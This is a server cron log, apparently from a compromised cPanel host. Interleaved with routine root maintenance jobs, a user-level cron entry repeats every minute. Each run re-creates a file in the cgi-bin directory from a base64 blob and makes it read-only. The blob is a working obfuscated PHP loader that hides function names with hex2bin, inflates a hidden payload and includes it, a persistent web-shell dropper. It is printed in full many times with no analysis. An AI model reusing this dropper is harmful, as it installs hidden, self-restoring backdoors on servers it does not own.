Sep  9 16:38:01 server CROND[14349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:38:01 server CROND[14350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:38:01 server CROND[14351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:39:01 server CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 16:39:01 server CROND[14823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:39:01 server CROND[14821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:39:01 server CROND[14824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:40:01 server CROND[15204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:40:01 server CROND[15207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:40:01 server CROND[15211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:40:01 server CROND[15212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:40:01 server CROND[15216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:40:01 server CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:40:01 server CROND[15220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:40:01 server CROND[15214]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:41:01 server CROND[16034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:41:01 server CROND[16035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:41:01 server CROND[16036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:42:01 server CROND[16413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:42:01 server CROND[16414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:42:01 server CROND[16415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:42:01 server CROND[16416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:43:02 server CROND[16788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:43:02 server CROND[16789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:43:02 server CROND[16790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:44:01 server CROND[17247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:44:01 server CROND[17248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:44:01 server CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:45:01 server CROND[17631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:45:01 server CROND[17645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:45:01 server CROND[17647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:45:01 server CROND[17648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:45:01 server CROND[17650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:45:01 server CROND[17651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:45:01 server CROND[17653]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:46:01 server CROND[18458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:46:01 server CROND[18457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:46:01 server CROND[18459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:47:01 server CROND[18831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:47:01 server CROND[18832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:47:01 server CROND[18833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:48:01 server CROND[19202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:48:01 server CROND[19203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:48:01 server CROND[19204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:49:01 server CROND[19768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:49:01 server CROND[19769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:49:01 server CROND[19770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:50:01 server CROND[20147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:50:01 server CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:50:01 server CROND[20153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:50:01 server CROND[20154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
